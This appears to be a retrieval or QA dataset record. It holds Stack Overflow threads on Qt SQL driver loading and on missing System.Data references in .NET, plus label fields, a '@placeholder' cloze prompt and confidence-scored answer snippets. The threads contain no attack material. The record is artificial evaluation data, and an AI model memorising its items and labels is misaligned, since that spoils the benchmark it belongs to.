work seamlessly on the deploy machines as well . BTW : Even though I m developing and testing on Linux I will need to support Windows . Will I experience this same issue on Windows How can I compile and link the MySql driver in both Linux and Windows The solution : .. . .. . After following @Sergey s recommendations I did an strace of the application redirecting the output to grep so I could search for mysql and for my surprise the application wasn t looking for the plugin at QTDIR plugins sqldrivers where I had libqsqlmysql.so it was looking at QTDIR lib . After copying the plugin to the lib folder the MySql connection worked . .. . Answer : Try opening the shared library with dlopen and see if it loads and if not what dlerror tells you . I always run into similar problems on Windows . LoadLibrary GetLastError saved me numerous times last time it was because of a wrong version of some libiconv libintl DLL . Running ldd on the plugin may also help . If dlopen works fine try to load the plugin with QPluginLoader . If it doesn t load then check the buildkey of the plugin . I usually do it the dirty way by running strings on the plugin and then looking for strings like buildkey or QT PLUGIN VERIFICATION DATA . Just looking at the build key and around it may give you an idea . For example you may realize that you have compiled your plugin in the release-mode while your application is compiled in the debug mode . In such case the build key won t match and the plugin won t load . Everything in the build key must match your configuration . Note that the version and the build key are checked differently : the build key must match exactly or match some black magic called QT BUILD KEY COMPAT but in the version only the major version must match exactly the minor version must be the version of Qt the plugin was compiled with or later and the patch level is ignored . So if your plugin was compiled with Qt 4.x.y then it will work with Qt versions 4.z . where z x . This actually makes sense . If the build key looks okay which is unlikely if you got to this point you may wish to look at QLibraryPrivate : : isPlugin source code to figure out what s wrong but that doesn t look like an easy task to me although running this in a debugger may help . If QPluginLoader does load the plugin check if it is in the right directory and has correct permissions . If you still didn t solve the problem by this point it s time to look at the SQL module source code that actually loads these plugins . But it is extremely unlikely . I ran into this problem many many times and it was always either the library not loading or the build key not matching . Another way to go after QPluginLoader loads the plugin successfully is to use strace to figure out whether the program at least tries to open the plugin file . Searching for something like sqldrivers or plugins in the strace output should also give away the directory where Qt is searching for its plugins and specifically SQL drivers . Update .. . .. . Is it possible to compile the driver as a static plugin and don t worry about anything Let s try : .. . .. . It compiles fine and now I got libqsqlpsql.a release and libqsqlpsqld.a debug in QTDIR plugins sqldrivers it is the right place on Windows . I am using PostgreSQL driver here but I don t think it will be any different for MySQL which I just don t have installed . Ok let s compile some real program with it : .. . .. . Note that I had to manually link-to libpq otherwise the linker would complain about undefined references . The funny thing is qmake knows that qsqlpsql is located in QTDIR plugins sqldrivers and sets compiler and linker options accordingly . So it still needs to be in the right place to work only you don t have to worry about your users running into the same problem as it is only used during compilation . An alternative would be to just use LIBS+ -Lpath to plugin LIBS+ -lqsqlpsql instead of QTPLUGIN+ qsqlpsql at least the docs say that it should work but I haven t tested it . In order for the application to actually use the plugin I had to put the following in my main unit CPP file : .. . .. . It works Also from what I ve been able to figure out from the sources the build key and the version are checked only when a plugin is dynamically loaded all the relevant stuff is in the QLibrary s private class not even QPluginLoader s . So the resulting executable may or may not depending on the binary compatibility work even with different versions and builds of Qt although using it with older versions may trigger some bugs that were fixed later . It is also worth noting that the order for loading SQL drivers is this : use the driver statically linked into Qt if available then look for a driver registered manually with QSqlDatabase : : registerSqlDriver then look for a driver statically imported into the application the way described above and finally try to load a shared plugin . So when you link statically your users won t be able to use dynamically linked drivers they may already have but will be able to use drivers linked statically into Qt like in Ubuntu . Comment : QPluginLoader did load the plugin although I must confess I ve cheated after dlopen didn t open libqsqlmysql.so I realized I had it on the wrong directory and moved it to the right one . It seems that this won t be an easy issue . Is there a good C++ library to access MySql that I could use as an alternative preferably a high-level one . Something that is easy to connect to the database as in Java or Python Comment : @Raphael No I always used Qt for this and found it very good although it does have its own faults like lack of timezones support in QDateTime . Does Qt still complain about driver not loaded after you got it to load properly with QPluginLoader Are you sure it s in the right place You could use strace to figure out whether it tries to open the plugin file . I m really interested in this issue . Comment : @Sergey - Yes it s still complaining about the missing driver . I believe it s now in the right place because QPlugingLoader seems to be loading it just fine . The driver is in libqsqlmysql.so is it not I ll try strace to see what I can find out about this . PS : I m using the Qt Developer Tools Qt SDK + Qt Creator downloaded straight from Nokia . Shouldn t it have this driver enabled by default Comment : @Raphael : No due to licensing issues of which by the way you ll need to be aware if you re going to be distributing binaries Nokia can t or doesn t want to redistribute binaries linked against libmysqlclient . Comment : @Raphael that s very strange . The way how it figures out the list of directories to look in is very complicated but then it unconditionally adds sqldrivers to it . So it could be QTDIR plugins sqldrivers QTDIR lib plugins sqldrivers or even QTDIR sqldrivers QTDIR lib sqldrivers or wherever-your-app-is sqldrivers but QTDIR lib Oh my god .", "Question : I have a table test with three columns ID value and value sim . I want to insert values to the value sim column . I have written the following code but I am getting an error . hxt val ft04 is a float variable which has a value stored in it . The following error is then raised : .. . .. . Kindly help me in correcting the error . Comment : Have you tried to execute this query directly on db Comment : No I haven t tried it Comment : Please try it in order to find out whether it is a SQL error or qt c++ error . Comment : I agree with @Amartel . Using some kind of SQL editor db management studio is invaluable when doing database projects . Develop and test your SQL before using it in Qt C++ code . .. . Answer : It looks like a SQL syntax-error for me . Not sure how WHERE condition is used with Insert statement . Comment : Thank you I corrected the syntax but I get this error again . ERROR : QODBCResult : : exec : Unable to execute statement : Microsoft SQL Native Client SQL Server Operand type collision : varbinary is incompatible with real Microsoft SQL Native Client SQL Server Statement s could n are not prepared ." ] }
[ "yes-answer-long", "yes-answer-short" ]
relational-database
UNK_RELATION
system.data@.net@50
system.data -- system.data is a namespace of the @placeholder framework .
{ "confidence": [ 40.57954406738281, 40.49560546875, 40.49560546875, 39.91783905029297, 39.323158264160156, 39.323158264160156, 37.493221282958984, 35.23615264892578, 34.60344314575195, 33.82467269897461, 33.685646057128906, 32.178829193115234, 32.178829193115234, 32.178829193115234, 32.14762878417969, 32.11236572265625, 31.883392333984375, 31.44845199584961, 30.628320693969727, 30.628320693969727, 30.539722442626953, 30.485240936279297, 29.6272029876709, 29.492355346679688, 29.382404327392578, 29.382404327392578, 29.382404327392578, 28.060626983642578, 28.060626983642578, 28.060626983642578, 28.060626983642578, 28.060626983642578, 27.02672576904297, 26.51011848449707, 25.141845703125, 25.141845703125, 25.135334014892578, 25.07808494567871, 22.70084571838379, 22.314390182495117, 21.79727554321289, 21.060455322265625, 20.65200424194336, 20.65200424194336, 20.65200424194336, 20.458545684814453, 20.276229858398438, 20.246768951416016, 19.54916763305664, 18.836658477783203, 18.793853759765625, 18.72572135925293, 18.295230865478516, 18.227386474609375, 18.227386474609375, 18.227386474609375, 18.061084747314453, 17.993614196777344, 17.993614196777344, 17.993614196777344, 17.756629943847656, 16.890777587890625, 16.790481567382812, 16.790481567382812, 16.739307403564453, 16.680301666259766, 16.6768798828125, 16.6768798828125, 16.482847213745117, 15.577465057373047, 15.46870231628418, 15.46870231628418, 15.172521591186523, 15.106403350830078, 15.063806533813477, 15.063806533813477, 15.063806533813477, 15.063806533813477, 15.063806533813477, 13.10080337524414, 12.681787490844727, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492, 12.578641891479492 ], "content": [ "I ve tried to add using system.data but then i ll get an error that the using system.data doesn t exists .", "then Select System.Data assemly reference .", "There does not appear to be a WinRT System.Data .", "Do I need to use System.Data", "where can i find system.data library for Monodevelop", ".. . .. . I referenced System.Data Version 4 in both projects .", "But we could not take reference of System.Data .", "Now I see System.Data namaespace is available .", "EDIT 2 : Another option always based on System.Data is update a SqlDataAdapter instance .", "I suspect this applies to everything in System.Data.dll which contains the System.Data namespace and DataTables and it may not be suitable for any inclusion .", "Still System.Data is not available to reference in this Code Library project .", "dnx451 dnx451 dnxcore50 dnxcore50 .. . .. . Doesn t System.Data gets installed automatically", "The only thing I could think of is that in the context of the page the System.Data reference is not visible .", "Delete the Reffrence system.Data ..and Add the same reffrence again . . it might be work. .", "there is a solution pane on left side of monodevelop there i found a references folder right clicked on that and easily included system.data to my project .", "In our local website we have added system.data DLL in our references and everything works well but after publishing our website on a host this error is shown .", "Code : system.data DbProviderFactories add name iAnywhere.Data.SQLAnywhere invariant iAnywhere.Data.SQLAnywhere.EF6 description SQL Anywhere ADO.NET Provider type iAnywhere.Data.SQLAnywhere.SAFactory iAnywhere.Data.SQLAnywhere.EF6 Version 16.0.0.20764 Culture neutral PublicKeyToken f222fc4333e0d400 DbProviderFactories system.data and setting the correct assembly as dependency .", ".NET 4.5 in VS2015 .. . .. . Error message : .. . .. . The type or namespace name Linq does not exist in the namespace System.Data are you missing an assembly reference", "Any suggestions as to how I can refer to System.Data in this project", "I added System.Data to that list with the same version as System.Linq Microsoft.CSharp .", "When trying to run my code I receive the following error : .. . .. . CS0234 : The type or namespace name OracleClient does not exist in the namespace System.Data are you missing an assembly reference", "i know where the problem is paras.ReferencedAssemblies.Add System.Data.dll it seems i can t add System.Data reference i don t know why", ".. . .. . Found the solution : there is a solution pane on left side of monodevelop there i found a references folder right clicked on that and easily included system.data to my project .", "If so ensure that .Net Framework is installed .", "I think the issue has something to do with the System.Data module because the very first thing the application does is to access database .", "There you can add assembly reference which are sometimes needed to use certain namespaces like System.Data .", "You are correct System.Data is not there I looked for the same thing when I first started messing around with WinRT .", "kindly Somebody do tell if there is any trick to add System.Data Library reference with Windows App project .", "Well you just can t use System.Data in Windows Phone 8 applications because it s not supported on WinRT .", "We have built a successful proof-of-concept app that communicates with our database using the System.Data SqlConnection and SqlCommand classes .", "We have tried Portable Class Library and Class Library Android both of which do not include System.Data .", "try adding an explicit reference to System.Data in your nhaml configuration .. . .. . obviously replacing .. . with your other references and config", "I have a base-class that handles query preparation and execution with a generic function as follows : .. . .. . I have classes implemented for most of the provider types Ole ADO ODBC Oracle etc but they are based off the standard .NET types provided in the System.Data namespace .", "However I cannot add a using-statement for System.Data to any of the .cs files in this project .", "I tried both : .. . .. . I have used the following CL args to try and get it to compile : .. . .. . And the following errors manifest themselves : .. . .. . or .. . .. . So Mono can t find the System.Data reference .", "I have used the folowing configuration : runtime assemblyBinding xmlns urn : schemas-microsoft-com : asm.v1 dependentAssembly assemblyIdentity name System.Data publicKeyToken b77a5c561934e089 culture neutral bindingRedirect oldVersion 4.0.30319.17929 newVersion 4.0.30319.1 dependentAssembly assemblyBinding runtime", "All the .cs files in both projects are happy with the following line of code : .. . .. . using System.Data .. . .. . In fact one of the .cshtml files has this line : .. . .. . @using System.Data .. . .. . Now I add a 3rd project to the solution a Class Library called TLM.Helpers to hold commonly used code .", "I use the Entity Framework .", "someone created that framework library as such as long as u have no issue why bother", "In reality you probably will at least for values that are common to SqlDbType and DbType but the framework does not make that guarantee .", "At the moment I am in the need of installing Entity Framework .", "I m busy building a custom framework for data-retrieval and serialization and I m running into a problem when defining a proprietary database-connection command parameter combo .", "Probably it s not working because in GAC I have only the system.data.dll from the 4.5 framework", "I ve tried to run my projects with .Net framework 4 then 3.5 3 and 4.5 but always same error .", "I thought that it might be .Net 4.0 bug and set my test app s framework to it .", "Well first of all sorry about this question it must be pretty straight forward for you guys but I m struggling myself on it and I need to make it work : Well I m trying t o use DataSet on my application .. . .. . and when I render it I got : .. . .. . in my application System.Data is already being referenced from C : Windows Microsoft.NET Framework v2.0.50727 System.Data.dll .. . .. . and I m using on my using clauses as well .. . .. . This DataSet is a response from a Webservice So any Ideas on how to fix this problem", "NOTE : TableDirect is only supported by the .NET Framework Data Provider for OLE DB .", "It s well-known and working out-the-box framework .", "The one is needed to work with something like Entity Framework MS SQL database for instance .", "I have shifted my work to Windows 8 Apps development from VS 2010 I was writing a small piece of code to read from CSV file and I was storing to DataTable When I copied that code into VS 2013 - Windows App project For DataTable no namespace was found I tried to add using System.Data but that was also unavailable Then I selected Add Reference and also I could not locate the Package .", "you re right I was constantly thinking of System.Data.SqlTypes namespace .", "The Property page for this project does not even offer the choice of Target Framework .", "That framework would allow you to build all the data-access logic separatly from your interface and support multiple platforms iOS and Windows Phone as well .", "When I try to run .NET app targeting .NET 4.0 framework on a computer with only .NET 4.5.1 installed .", "By following the above code am getting an execption : - The CommandType enumeration value 512 is not supported by the .Net Framework SqlClient Data Provider .", "Have you read the Note : is only supported by the .NET Framework Data Provider for OLE DB. .", "I get the following error : .. . .. . The type or namespace name Data does not exist in the namespace System are you missing an assembly reference", "The error occurs because the Serializer used in the WCF service DataContractSerializer can not serialize the SqlConnection object because in .net framework 4.5 there is a new property Credential of type SqlCredential which can not be serialized .", "Here is the error : .. . .. . In my solution I ve set the Target Framework to .Net Frameowrk 4.0 and even set as reference to the solution a System.Data.dll from 4.0 Framework to force the application to use this one and not the one from GAC .", "Without utilizing Entity Framework your options are limited to something like you ve already developed or using Linq to put them into their objects such as : .. . .. . This will return an enumerable of Job objects that you can then use to do whatever .", "In Debug Mode after doing this I can t see the Credential Property so it s clear it uses the 4.0 version of the System.Data.dll but if I use reflection to inspect the SqlConnection type the Credential property exists in the SqlConnection object : .. . .. . The question is : How can I force my application to use System.Data.dll from the .net Framework 4.0 on a working station the has installed 4.5 .Net Framework on it", "You might also want to consider using MvvmCross https : github.com MvvmCross MvvmCross wiki Sqlite-plugin framework including for easy access to Database or any other specific functionality .", "The error is being caused by the line using System.Data.OracleClient in my namespace declaration .", "But in that case you need just common Linq to objects from System.Linq namespace .", "The message I am getting is : .. . .. . The type or namespace Data does not exists in the namespace System are you missing an assembly reference", "I get the error : .. . .. . The type or namespace name tempCheck could not be found are you missing a using directive or an assembly reference", "I am using VS 2015 Community Edition C 2015 .NET Framework 4.5.2 .", "Other posts for similar issues suggest verifying that the project is being built for the proper Framework version .", "All this job could be easily done into the view if using DataSet directly I hope anyone can help me with a more simplistic way to do it .. . .. . Thank you : .. . .. . .. . .. . UPDATE SOLUTION .. . .. . Simon s answer was really effective and it worked on the first try after adding namespaces for System.Data and System.Xml but at the same time Josh s answer present a very nice and cool way to work with DataSets which on my opinion works much better and I think I ll go for it now .", "The using System.Data.OracleClient directive means that that namespace should be considered when trying to determine what non-full names mean .", "If it is so when I add the namespace System.Data.Entity in my controller it is not getting resolved .", "But even with EntityFramework installed I am not getting System.Data.Entity namespace .", "There tends to be a heavy match between assemblies and namespaces because that makes life easier for everyone but there are both times when an assembly has classes from more than one namespace and when a namespace is split over more than one assembly .", "The error The type or namespace name tempCheck could not be found is coming because since typeof is looking for a compile-time type it s literally looking for a type called tempCheck like a class or delegate etc .", "We have encountered a problem while publishing our website on a host .", "We have asked hosting service about this error and they say that this problem is not on our side .", "We really don t know why this error is shown after publishing website Any help will be highly appreciated .. . .. . Source Error : .. . .. . Stack Trace :", "When you say hosting service are you renting a VM", "msdn.microsoft.com en-us library 5a4x27ek v vs.110 .aspx https : msdn.microsoft.com en-us library 5a4x27ek v vs.110 .aspx You might also ensure that IIS is set up using the correct settings .", "Unless you re writing an absolutely massive library though with thousands of classes covering overlapping use-cases your own assemblies should work with a single namespace - or at most a single one with some other namespaces within that one like JaredksGreatCode having JaredksGreatCode.UserInterface within it - per single DLL .", "Try adding the namespace in your web.config : .. . .. . I know it s not really part of your question but I would recommend building a class filled with properties representing the fields in your datatable .", "I am trying to merge two DataTable s - one representing current data and one representing proposed insertions to that data .", "These tables have the same schema both with a simple user-provided primary-key string .", "What I d like is if the a proposed insertion row has a key that is already present in the current data an error should be thrown .", "However the proposed addition just gets merged as a proposed alteration to the existing row which is not what I want .", "My current code is something along the lines of .. . .. . where I m actually merging whole DataSet s not just DataTable s .", "I was hoping to get an error on the EnforceConstraints true line but I don t .", "I also tried using diffgrams but had the same problem - duplicate insertions get treated as modifications .", "Is there a way to merge a set of insertions into a DataSet and have duplicate PKs be treated as an error rather than an update", ".. . .. . Similarly since modified DataRow s remember their original values I d hope that merging a modified row whose original values don t match the target row s current values would throw an exception too .", "Did you check if your PK field is really as primary-key field exposed to the datatable", "I just double-checked and yes it is the PrimaryKey for both the source and additions tables .", "Maybe if I temporarily turned it off it wouldn t merge the values by key then I could turn it back on and get an exception .", "Make sure the key is a primary-key and not just a key .", "It took me hours before I noticed that I d forgotten to tick the Primary key checkbox in the data-table designer .", "Once I checked it my merge worked perfectly .", "Isn t the Unique flag used for this purpose", "My understanding is that for Merge it will merge rows based on Primary Key .", "I would like to know the difference between DataView and DataRowView .", "I looked up on MSDN and it says the DataRowView is just a customized representation of DataView ." ] }
{ "confidence": [ 46.32386779785156, 45.48883819580078, 43.477596282958984, 42.937843322753906, 40.28108215332031, 39.93922424316406, 39.578853607177734, 39.401702880859375, 39.29231262207031, 39.29231262207031, 38.16889953613281, 37.39512252807617, 37.01988220214844, 36.74393844604492, 35.362449645996094, 34.77524185180664, 33.81719970703125, 31.592693328857422, 31.513671875, 31.392337799072266 ], "content": [ "Question : I m trying to access some data on access database using Monodevelop on Ubuntu . I ve tried to add using system.data but then i ll get an error that the using system.data doesn t exists . where can i find system.data library for Monodevelop .. . .. . Found the solution : there is a solution pane on left side of monodevelop there i found a references folder right clicked on that and easily included system.data to my project . Comment : Please don t edit the question add the solution as an answer . .. . Answer : there is a solution pane on left side of monodevelop there i found a references folder right clicked on that and easily included system.data to my project .", "Question : null .. . Answer : I am relatively new to MVC so maybe I am missing something . I am using VS 2015 Community Edition C 2015 .NET Framework 4.5.2 . I have an MVC solution with 2 projects : TLM and TLM.Tests . All the .cs files in both projects are happy with the following line of code : .. . .. . using System.Data .. . .. . In fact one of the .cshtml files has this line : .. . .. . @using System.Data .. . .. . Now I add a 3rd project to the solution a Class Library called TLM.Helpers to hold commonly used code . In ASP.NET web forms it would have just gone in a .cs file in the App Code folder . However I cannot add a using-statement for System.Data to any of the .cs files in this project . In fact I cannot even add a reference to that DLL in this project although I see that there is such a reference in the other 2 projects . That new project does have successful references to System System.Collections.Generic and System.Linq . Other posts for similar issues suggest verifying that the project is being built for the proper Framework version . The Property page for this project does not even offer the choice of Target Framework . It does have dropdowns for Solution DNX SDK version which refers to Version 1.0.0-beta5 . I don t know what that refers to . Any suggestions as to how I can refer to System.Data in this project Thanks . Dan Comment : this may help you . . stackoverflow.com questions 31546274 http : stackoverflow.com questions 31546274 how-to-fix-dnx-dnvm-in-visual-studio-2015 Comment : Much easier to learn ASP.NET MVC with MVC 5 i.e . ASP.NET 4 . It s well-known and working out-the-box framework . MVC 6 harder to support and it s reinventing a lot of things just my opinion Comment : Thanks CPR43 . I had actually seen that post previously and followed its suggestion of installing a newer PowerShell which solved an initial problem . I think my current problem is related to this however so I am going to continue on the thread you referenced . Comment : Actually on further research and reflection I will continue the thread here because I think I have resolved the issues raised in that other post correct version of PowerShell incorrect handling of white space in folder names . Still System.Data is not available to reference in this Code Library project . I see a set of assemblies in the folder C : Users username .dnx packages which corresponds exactly to the assemblies I can reference . How do I add assemblies to this folder Comment : More info : I see that project.json also has a list of dependencies which are a subset of the available references . I added System.Data to that list with the same version as System.Linq Microsoft.CSharp . Then the project would not build : dependency could not be resolved .", "Question : null .. . Answer : We have encountered a problem while publishing our website on a host . In our local website we have added system.data DLL in our references and everything works well but after publishing our website on a host this error is shown . We have asked hosting service about this error and they say that this problem is not on our side . We really don t know why this error is shown after publishing website Any help will be highly appreciated .. . .. . Source Error : .. . .. . Stack Trace : Comment : When you say hosting service are you renting a VM If so ensure that .Net Framework is installed . msdn.microsoft.com en-us library 5a4x27ek v vs.110 .aspx https : msdn.microsoft.com en-us library 5a4x27ek v vs.110 .aspx You might also ensure that IIS is set up using the correct settings .", "Question : null .. . Answer : I have shifted my work to Windows 8 Apps development from VS 2010 I was writing a small piece of code to read from CSV file and I was storing to DataTable When I copied that code into VS 2013 - Windows App project For DataTable no namespace was found I tried to add using System.Data but that was also unavailable Then I selected Add Reference and also I could not locate the Package . kindly Somebody do tell if there is any trick to add System.Data Library reference with Windows App project . Comment : DataTables http : msdn.microsoft.com en-us library system.data.datatable v vs.110 .aspx is not listed for Windows Store Apps Windows 8 Project . I suspect this applies to everything in System.Data.dll which contains the System.Data namespace and DataTables and it may not be suitable for any inclusion . Types methods which are available for Store Apps will have a little green briefcase icon next to them .", "Question : When trying to run my code I receive the following error : .. . .. . CS0234 : The type or namespace name OracleClient does not exist in the namespace System.Data are you missing an assembly reference I have included references to System.Data.dll and System.Data.OracleClient.dll but I am still getting this error . The error is being caused by the line using System.Data.OracleClient in my namespace declaration . Comment : Okay . My answer doesn t match now that you ve editted and was just telling you what you already know . I d first look at the properties of the references and make sure they pointed to the correct file and for the corresponding version of .NET if there is more than one runtime on the system . .. . Answer : You add reference on System.Data.OracleClient.dll .", "Question : Well first of all sorry about this question it must be pretty straight forward for you guys but I m struggling myself on it and I need to make it work : Well I m trying t o use DataSet on my application .. . .. . and when I render it I got : .. . .. . in my application System.Data is already being referenced from C : Windows Microsoft.NET Framework v2.0.50727 System.Data.dll .. . .. . and I m using on my using clauses as well .. . .. . This DataSet is a response from a Webservice So any Ideas on how to fix this problem PS . I don t know if it helps but I m using nHaml to render my view .. . .. . Thanks a lot .. . .. . .. . .. . UPDATE : .. . .. . The only solution I found for now was to instead passing a DataSet to the view converter the DataSet to a .. . .. . and pass a loop through the entire DataSet like this .. . .. . Actually this is completely crazy ins t it All this job could be easily done into the view if using DataSet directly I hope anyone can help me with a more simplistic way to do it .. . .. . Thank you : .. . .. . .. . .. . UPDATE SOLUTION .. . .. . Simon s answer was really effective and it worked on the first try after adding namespaces for System.Data and System.Xml but at the same time Josh s answer present a very nice and cool way to work with DataSets which on my opinion works much better and I think I ll go for it now . Thanks for you help Comment : do u control the webservice if so i would try to change it to be string typed classes instead of datasets .. . Answer : The only thing I could think of is that in the context of the page the System.Data reference is not visible . Try adding the namespace in your web.config : .. . .. . I know it s not really part of your question but I would recommend building a class filled with properties representing the fields in your datatable . Using Linq you can easily convert your rows into the class object and return a list of them . Here s some rough and uncompiled code . You want it to be serializable so your web service can return it as xml or json however you are returning it . The linq would look something like this : .. . .. . In my personal experience DataSets tend to be resource hogs . Also Linq will be more efficient than your for loops . Hope this helps . Comment : Wow Josh this second example you show me really worked and it s much cleaner and well organised I really like things like this . The only thing is that I had to remove the AsEnumerable method to make it work . But now works like a charm : thanks a lot for it unfortunately the web.config example didn t work but don t bother about it . thanks again", "Question : I get the following error : .. . .. . The type or namespace name Data does not exist in the namespace System are you missing an assembly reference I m using Visual Studio 2013 Express for Windows Desktop Comment : Are you sure you add System.Data.dll as a reference to your project Comment : Well are you missing an assembly reference Have you added the reference to your project .. . Answer : In the Solution Explorer window of Visual Studio right-click on your project and click Add Reference . There you can add assembly reference which are sometimes needed to use certain namespaces like System.Data .", "Question : I am developing a Web API using VS Code and DNX . At the moment I am in the need of installing Entity Framework . When I am installing the package using dnu install EntityFramework there is no error . It adds the entry EntityFramework : 7.0.0-beta4 in package.json file as well as updating project.lock.json . But when I am compiling the application using dnu build I am getting the following error message and build fails : .. . .. . IHostingEnvironment exists in both Microsoft.AspNet.Hosting.Abstractions and Microsoft.AspNet.Hosting.Interfaces .. . .. . My DNX version is 4.5.1 .. . .. . I have no idea about the issue Someone please tell me how I can get this resolved . Thanks in advance . Update : .. . .. . When I remove the entry EntityFramework : 7.0.0-beta4 from project.json file run dnu restore and then recompile using dnu build it is successful . My guess is there is already an EntityFramework installed by default in my application . If it is so when I add the namespace System.Data.Entity in my controller it is not getting resolved . The message I am getting is : .. . .. . The type or namespace Data does not exists in the namespace System are you missing an assembly reference dnx451 dnx451 dnxcore50 dnxcore50 .. . .. . Doesn t System.Data gets installed automatically UPDATE project.json file .. . .. . .. . .. . version : 1.0.0- .. . compilationOptions : .. . emitEntryPoint : true .. . .. . tooling : .. . defaultNamespace : apiservice .. . .. . dependencies : .. . Microsoft.AspNet.IISPlatformHandler : 1.0.0-rc1-final .. . Microsoft.AspNet.Mvc : 6.0.0-rc1-final .. . Microsoft.AspNet.Server.Kestrel : 1.0.0-rc1-final .. . Microsoft.AspNet.StaticFiles : 1.0.0-rc1-final .. . Microsoft.Extensions.Configuration.FileProviderExtensions : 1.0.0-rc1-final .. . Microsoft.Extensions.Logging : 1.0.0-rc1-final .. . Microsoft.Extensions.Logging.Console : 1.0.0-rc1-final .. . Microsoft.Extensions.Logging.Debug : 1.0.0-rc1-final .. . System.Net.Http : 4.0.1-beta-23516 .. . Microsoft.Net.Http : 2.2.29 .. . EntityFramework : 7.0.0-beta4 .. . .. . commands : .. . web : Microsoft.AspNet.Server.Kestrel .. . .. . frameworks : .. . dnx451 : .. . dnxcore50 : .. . .. . exclude : .. . wwwroot .. . node-modules .. . bower components .. . .. . publishExclude : .. . .user .. . .vspscc .. . .. . Comment : This sounds like an issue with your project.json . Could you post the code Comment : Hi Roberto I have updated my question with project.json code . .. . Answer : You should probably remove the Interfaces and just use the Abstractions as this package was renamed . See announcement : https : github.com aspnet Announcements issues 14 Comment : Thanks Removing those Interface parameters compiles the application . Now I see System.Data namaespace is available . But even with EntityFramework installed I am not getting System.Data.Entity namespace . Why is so", "Question : Well first of all sorry about this question it must be pretty straight forward for you guys but I m struggling myself on it and I need to make it work : Well I m trying t o use DataSet on my application .. . .. . and when I render it I got : .. . .. . in my application System.Data is already being referenced from C : Windows Microsoft.NET Framework v2.0.50727 System.Data.dll .. . .. . and I m using on my using clauses as well .. . .. . This DataSet is a response from a Webservice So any Ideas on how to fix this problem PS . I don t know if it helps but I m using nHaml to render my view .. . .. . Thanks a lot .. . .. . .. . .. . UPDATE : .. . .. . The only solution I found for now was to instead passing a DataSet to the view converter the DataSet to a .. . .. . and pass a loop through the entire DataSet like this .. . .. . Actually this is completely crazy ins t it All this job could be easily done into the view if using DataSet directly I hope anyone can help me with a more simplistic way to do it .. . .. . Thank you : .. . .. . .. . .. . UPDATE SOLUTION .. . .. . Simon s answer was really effective and it worked on the first try after adding namespaces for System.Data and System.Xml but at the same time Josh s answer present a very nice and cool way to work with DataSets which on my opinion works much better and I think I ll go for it now . Thanks for you help Comment : do u control the webservice if so i would try to change it to be string typed classes instead of datasets .. . Answer : try adding an explicit reference to System.Data in your nhaml configuration .. . .. . obviously replacing .. . with your other references and config Comment : Perfect Simon this worked very well after adding this I had also to add directions for System.Xml but it was exactly the same procedure . This worked and answered my question but actually I really like the way Josh presented a new solution to pass DataSets through so Thumbs Up for you both thanks for you help", "Question : Well first of all sorry about this question it must be pretty straight forward for you guys but I m struggling myself on it and I need to make it work : Well I m trying t o use DataSet on my application .. . .. . and when I render it I got : .. . .. . in my application System.Data is already being referenced from C : Windows Microsoft.NET Framework v2.0.50727 System.Data.dll .. . .. . and I m using on my using clauses as well .. . .. . This DataSet is a response from a Webservice So any Ideas on how to fix this problem PS . I don t know if it helps but I m using nHaml to render my view .. . .. . Thanks a lot .. . .. . .. . .. . UPDATE : .. . .. . The only solution I found for now was to instead passing a DataSet to the view converter the DataSet to a .. . .. . and pass a loop through the entire DataSet like this .. . .. . Actually this is completely crazy ins t it All this job could be easily done into the view if using DataSet directly I hope anyone can help me with a more simplistic way to do it .. . .. . Thank you : .. . .. . .. . .. . UPDATE SOLUTION .. . .. . Simon s answer was really effective and it worked on the first try after adding namespaces for System.Data and System.Xml but at the same time Josh s answer present a very nice and cool way to work with DataSets which on my opinion works much better and I think I ll go for it now . Thanks for you help Comment : do u control the webservice if so i would try to change it to be string typed classes instead of datasets .. . Answer : Delete the Reffrence system.Data ..and Add the same reffrence again . . it might be work. .", "Question : When trying to run my code I receive the following error : .. . .. . CS0234 : The type or namespace name OracleClient does not exist in the namespace System.Data are you missing an assembly reference I have included references to System.Data.dll and System.Data.OracleClient.dll but I am still getting this error . The error is being caused by the line using System.Data.OracleClient in my namespace declaration . Comment : Okay . My answer doesn t match now that you ve editted and was just telling you what you already know . I d first look at the properties of the references and make sure they pointed to the correct file and for the corresponding version of .NET if there is more than one runtime on the system . .. . Answer : I had to add a reference to the Oracle.DataAccess.dll and then I had to manually associate all the references to OracleClient.blahblah with Oracle.DataAccess.Client.blahblah . Hopefully this helps someone else .", "Question : I get the following error : .. . .. . The type or namespace name Data does not exist in the namespace System are you missing an assembly reference I m using Visual Studio 2013 Express for Windows Desktop Comment : Are you sure you add System.Data.dll as a reference to your project Comment : Well are you missing an assembly reference Have you added the reference to your project .. . Answer : You are missing assembly reference . You need to add assembly reference . Check out following images . http : i.stack.imgur.com c17yO.png .. . .. . Go to soution explorer right-click on references and select Add Reference . then Select System.Data assemly reference . enter image description here http : i.stack.imgur.com gLUct.png .. . .. . That s it . Press ok . .. . .. . Press F6 to rebuild your project .", "Question : I m busy building a custom framework for data-retrieval and serialization and I m running into a problem when defining a proprietary database-connection command parameter combo . Everything works as expected until I try and add parameters to my custom command object . I have a base-class that handles query preparation and execution with a generic function as follows : .. . .. . I have classes implemented for most of the provider types Ole ADO ODBC Oracle etc but they are based off the standard .NET types provided in the System.Data namespace . I now have a completely custom class that inherits from System.Data.Common.DbCommand that I want to use but when I try and add parameters in the Prepare function above to this new class I see the Parameters property of my new class is null It is inherited from the base-class and is set to read only so I can t initialize it on my own . My class is defined as follows : .. . .. . public sealed class Connection : System.Data.Common.DbConnection .. . .. . I ve tried explicitly overriding the property in my class as public new List Parameter Parameters get set but to no avail - the generic function still uses the base-class Parameters property . The only way to get a handle on the overridden property is to explicitly cast command in the Prepare function to my custom type which is obviously what I don t want to do . Am I missing something here .. . Answer : OK I managed to sort out the issue . Can t believe I ve been blind to this the whole morning When implementing a new class that inherits from System.Data.Common.DbCommand you have to override the DbParameterCollection property among others . In my haste to create the new class I just returned null in the getter of this property and I assume that s what the Parameters property uses . So I just implemented a new class that inherits from System.Data.Common.DbParameterCollection and returned a new instance of that class in my getter and it s working now", "Question : null .. . Answer : I have a client-server application which communicates through WCF . I have a method that sends a System.Data.SqlClient.SqlConnection from the server to the client . After installing visual-studio-2012 which installed .NetFramework 4.5 on the working stations the communication between the server and the client fails when trying to send the SqlConnection from the server to the client . The error occurs because the Serializer used in the WCF service DataContractSerializer can not 